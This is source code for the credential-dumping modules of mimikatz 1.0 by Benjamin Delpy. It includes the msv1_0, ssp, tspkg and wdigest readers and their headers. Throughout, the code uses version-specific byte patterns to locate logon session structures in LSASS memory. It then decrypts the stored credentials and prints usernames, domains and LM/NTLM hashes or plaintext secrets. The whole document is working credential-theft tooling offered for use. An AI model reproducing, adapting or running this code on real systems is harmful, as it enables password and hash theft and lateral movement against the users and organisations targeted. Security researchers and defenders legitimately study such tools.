bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchLogonSessionList())
{
LONG offsetToLuid, offsetToCredentials;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier);
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials);
}
else
{
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier);
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials);
if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8
{
#ifdef _M_X64
offsetToCredentials += 4*sizeof(PVOID);
#elif defined _M_IX86
offsetToCredentials += 2*sizeof(PVOID);
#endif
}
}
ULONG nbListes = 0;
if(LogonSessionListCount)
mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS);
else nbListes = 1;
PLIST_ENTRY pLogSession = NULL;
for(ULONG i = 0; i < nbListes; i++)
{
if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LogonSessionList + i), offsetToLuid, logId))
{
BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)];
if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS))
{
PVOID monPtr = *reinterpret_cast<PVOID *>(kiwiMSVListEntry + offsetToCredentials);
if(monPtr)
{
BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)];
if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
{
PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast<PKIWI_MSV1_0_CREDENTIALS>(kiwiMSVCredentials);
if(mesCreds->PrimaryCredentials)
{
BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)];
if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
{
decryptAndDisplayCredsBlock(&reinterpret_cast<PKIWI_MSV1_0_PRIMARY_CREDENTIALS>(kiwiMSVPrimaryCredentials)->Credentials, justSecurity);
} else wcout << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)";
delete [] kiwiMSVPrimaryCredentials;
} else wcout << L"n.s. (PrimaryCredentials KO)";
}else wcout << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)";
delete [] kiwiMSVCredentials;
} else wcout << L"n.s. (Credentials KO)";
} else wcout << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)";
delete [] kiwiMSVListEntry;
break;
}
}
if(!pLogSession)
wcout << L"n.t. (LUID KO)";
}
else wcout << L"n.a. (msv1_0 KO)";
return true;
}
bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity)
{
if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer)
{
BYTE * monBuffer = new BYTE[monBlock->MaximumLength];
if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS))
{
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length);
PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast<PMSV1_0_PRIMARY_CREDENTIAL>(monBuffer);
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false);
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false);
wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword));
wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword));
if(justSecurity)
wcout << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }";
else
{
wcout << endl <<
L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl <<
L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl <<
L"\t * Hash LM : " << lmHash << endl <<
L"\t * Hash NTLM : " << ntHash;
}
} else wcout << L"n.e. (Lecture Block Credentials KO)";
delete [] monBuffer;
} else wcout << L"n.s. (Block Credentials KO)";
return true;
}
void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative)
{
if(String->Buffer)
String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress)));
}

View File

@ -0,0 +1,105 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_msv1_0 {
private:
typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
PVOID unk0; // next?
LSA_UNICODE_STRING Primary;
LSA_UNICODE_STRING Credentials;
} KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;
typedef struct _KIWI_MSV1_0_CREDENTIALS {
PVOID unk0; // next?
DWORD AuthenticationPackageId;
PVOID PrimaryCredentials;
} KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;
typedef struct _KIWI_MSV1_0_LIST_5 {
struct _KIWI_MSV1_0_LIST_5 *Flink;
struct _KIWI_MSV1_0_LIST_5 *Blink;
LUID LocallyUniqueIdentifier;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING Domaine;
PVOID unk14; // 0
PVOID unk15; // 0
PVOID unk16; // offset unk_181A080
DWORD unk17; // 0Ah
DWORD unk18; // 2
#ifdef _M_IX86
DWORD unk19;
#endif
DWORD unk20; // 5AC4186Ch
DWORD unk21; // 1CD6BFDh
LSA_UNICODE_STRING LogonServer;
PKIWI_MSV1_0_CREDENTIALS Credentials;
PVOID unk22; // 0C14h
PVOID unk23; // 0BFCh
} KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5;
typedef struct _KIWI_MSV1_0_LIST_6 {
struct _KIWI_MSV1_0_LIST_6 *Flink;
struct _KIWI_MSV1_0_LIST_6 *Blink;
PVOID unk0; // unk_18457A0
DWORD unk1; // 0FFFFFFFFh
DWORD unk2; // 0
PVOID unk3; // 0
PVOID unk4; // 0
PVOID unk5; // 0
PVOID unk6; // 0C04h
PVOID unk7; // 0
PVOID unk8; // 0C08h
PVOID unk9; // 0
PVOID unk10; // 0
DWORD unk11; // 0
DWORD unk12; // 0
PVOID unk13; // offset off_18456A0
LUID LocallyUniqueIdentifier;
LUID SecondaryLocallyUniqueIdentifier;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING Domaine;
PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!!
PVOID unk15; // 0
PVOID unk16; // offset unk_181A080
DWORD unk17; // 0Ah
DWORD unk18; // 2
#ifdef _M_IX86
DWORD unk19;
#endif
DWORD unk20; // 5AC4186Ch
DWORD unk21; // 1CD6BFDh
LSA_UNICODE_STRING LogonServer;
PKIWI_MSV1_0_CREDENTIALS Credentials;
PVOID unk22; // 0C14h
PVOID unk23; // 0BFCh
} KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6;
typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
LSA_UNICODE_STRING LogonDomainName;
LSA_UNICODE_STRING UserName;
BYTE NtOwfPassword[0x10];
BYTE LmOwfPassword[0x10];
BOOLEAN NtPasswordPresent;
BOOLEAN LmPasswordPresent;
wchar_t BuffDomaine[MAX_DOMAIN_LEN];
wchar_t BuffUserName[MAX_USERNAME_LEN];
} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;
static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true);
static PLIST_ENTRY LogonSessionList;
static PULONG LogonSessionListCount;
static bool searchLogonSessionList();
static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity);
public:
static bool getMSV(vector<wstring> * arguments);
static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity);
};

View File

@ -0,0 +1,91 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "ssp.h"
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL;
mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL;
bool mod_mimikatz_sekurlsa_ssp::getSSP(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getSSPLogonData, wstring(L"ssp")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList()
{
#ifdef _M_X64
BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3;
BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15};
LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3;
#elif defined _M_IX86
BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1;
#endif
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList)
{
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
pointeur= reinterpret_cast<PBYTE *>(&SspCredentialList);
#ifdef _M_X64
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
pattern = PTRN_WIN5_SspCredentialList;
taille = sizeof(PTRN_WIN5_SspCredentialList);
offset = OFFS_WIN5_SspCredentialList;
}
else
{
pattern = PTRN_WIN6_SspCredentialList;
taille = sizeof(PTRN_WIN6_SspCredentialList);
offset = OFFS_WIN6_SspCredentialList;
}
#elif defined _M_IX86
pattern = PTRN_WALL_SspCredentialList;
taille = sizeof(PTRN_WALL_SspCredentialList);
offset = OFFS_WALL_SspCredentialList;
#endif
if(HMODULE monModule = LoadLibrary(L"msv1_0"))
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
{
mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset);
*pointeur += pModMSV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
FreeLibrary(monModule);
}
}
return (SspCredentialList != NULL);
}
bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchSSPEntryList())
{
KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
DWORD monNb = 0;
if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
{
while(mesCredentials.Flink != SspCredentialList)
{
if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
{
if(RtlEqualLuid(logId, &(mesCredentials.LogonId)))
{
mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb);
monNb++;
}
}
}
}
}
else wcout << L"n.a. (SSP KO)";
return true;
}

View File

@ -0,0 +1,32 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_ssp {
private:
typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY {
struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink;
struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink;
ULONG References;
ULONG CredentialReferences;
LUID LogonId;
ULONG unk0;
ULONG unk1;
ULONG unk2;
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
} KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY;
static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList;
static bool searchSSPEntryList();
public:
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV;
static bool getSSP(vector<wstring> * arguments);
static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity);
};

View File

@ -0,0 +1,93 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "tspkg.h"
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL;
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getTsPkgLogonData, wstring(L"tspkg")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs()
{
#ifdef _M_X64
BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d};
LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable);
#elif defined _M_IX86
BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe};
LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable);
BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb};
LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable);
#endif
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable)
{
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
pointeur= reinterpret_cast<PBYTE *>(&TSGlobalCredTable);
#ifdef _M_X64
pattern = PTRN_WALL_TSGlobalCredTable;
taille = sizeof(PTRN_WALL_TSGlobalCredTable);
offset = OFFS_WALL_TSGlobalCredTable;
#elif defined _M_IX86
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
pattern = PTRN_WNO8_TSGlobalCredTable;
taille = sizeof(PTRN_WNO8_TSGlobalCredTable);
offset = OFFS_WNO8_TSGlobalCredTable;
}
else
{
pattern = PTRN_WIN8_TSGlobalCredTable;
taille = sizeof(PTRN_WIN8_TSGlobalCredTable);
offset = OFFS_WIN8_TSGlobalCredTable;
}
#endif
if(HMODULE monModule = LoadLibrary(L"tspkg"))
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
{
mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset);
*pointeur += pModTSPKG->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
FreeLibrary(monModule);
}
}
return (pModTSPKG && TSGlobalCredTable);
}
bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchTSPKGFuncs())
{
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)];
if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId)))
{
if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
{
pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(monBuffP);
if(pLogSession->pTsPrimary)
{
if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
mesCreds = &(reinterpret_cast<PKIWI_TS_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
}
else wcout << L"n.s. (SuppCred KO) / ";
}
}
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
delete [] monBuffC, monBuffP;
}
else wcout << L"n.a. (tspkg KO)";
return true;
}

View File

@ -0,0 +1,37 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_tspkg {
private:
typedef struct _KIWI_TS_PRIMARY_CREDENTIAL {
PVOID unk0; // lock ?
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
} KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL;
typedef struct _KIWI_TS_CREDENTIAL {
#ifdef _M_X64
BYTE unk0[108];
#elif defined _M_IX86
BYTE unk0[64];
#endif
LUID LocallyUniqueIdentifier;
PVOID unk1;
PVOID unk2;
PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary;
} KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL;
static PRTL_AVL_TABLE TSGlobalCredTable;
static bool searchTSPKGFuncs();
public:
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG;
static bool getTsPkg(vector<wstring> * arguments);
static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity);
};

View File

@ -0,0 +1,90 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "wdigest.h"
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL;
mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL;
long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0;
bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getWDigestLogonData, wstring(L"wdigest")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList()
{
#ifdef _M_X64
BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d};
BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39};
BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85};
#elif defined _M_IX86
BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04};
BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04};
BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04};
#endif
LONG OFFS_WALL_InsertInLogSess = -4;
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList)
{
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
pointeur= reinterpret_cast<PBYTE *>(&l_LogSessList);
offset = OFFS_WALL_InsertInLogSess;
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
pattern = PTRN_WNO8_InsertInLogSess;
taille = sizeof(PTRN_WNO8_InsertInLogSess);
}
else if(mod_system::GLOB_Version.dwBuildNumber < 8400)
{
pattern = PTRN_W8CP_InsertInLogSess;
taille = sizeof(PTRN_W8CP_InsertInLogSess);
}
else
{
pattern = PTRN_W8RP_InsertInLogSess;
taille = sizeof(PTRN_W8RP_InsertInLogSess);
}
if(HMODULE monModule = LoadLibrary(L"wdigest"))
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
{
mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false);
*pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
FreeLibrary(monModule);
}
#ifdef _M_X64
offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48);
#elif defined _M_IX86
offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32);
#endif
}
return (pModWDIGEST && l_LogSessList);
}
bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchWDigestEntryList())
{
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL);
BYTE * monBuff = new BYTE[taille];
if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId))
if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
mesCreds = reinterpret_cast<PKIWI_GENERIC_PRIMARY_CREDENTIAL>(reinterpret_cast<PBYTE>(monBuff) + offsetWDigestPrimary);
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
delete [] monBuff;
}
else wcout << L"n.a. (wdigest KO)";
return true;
}

View File

@ -0,0 +1,29 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_wdigest {
private:
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
DWORD UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY *This;
LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList;
static long offsetWDigestPrimary;
static bool searchWDigestEntryList();
public:
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST;
static bool getWDigest(vector<wstring> * arguments);
static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity);
};

View File

@ -0,0 +1,128 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#pragma warning(disable:4530)
#include <stdio.h>
#include <windows.h>
#include <ntsecapi.h>
#include <string>
#include <vector>
using namespace std;
#define SECURITY_WIN32
#define PAGE_SIZE 0x1000
#define MAX_DOMAIN_LEN 24
#define MAX_USERNAME_LEN 24
#define MIMIKATZ L"mimikatz"
#ifdef _M_X64
#define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)"
#else ifdef
#define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)"
#endif
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;}
typedef bool (* PKIWI_LOCAL_COMMAND) (vector<wstring> * arguments);
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND {
PKIWI_LOCAL_COMMAND ptrCommand;
wstring commandName;
wstring commandHelp;
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {}
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {}
} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND;
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE {
wstring module;
wstring description;
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> commandes;
_KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {}
} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE;
typedef struct _MIMI_CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef const ULONG CLONG;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef STRING OEM_STRING;
typedef PSTRING POEM_STRING;
typedef CONST STRING* PCOEM_STRING;
/* System* */
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE mimi_hash[16]);
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE mimi_hash[16]);
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]);
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]);
/* CNG */
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags);
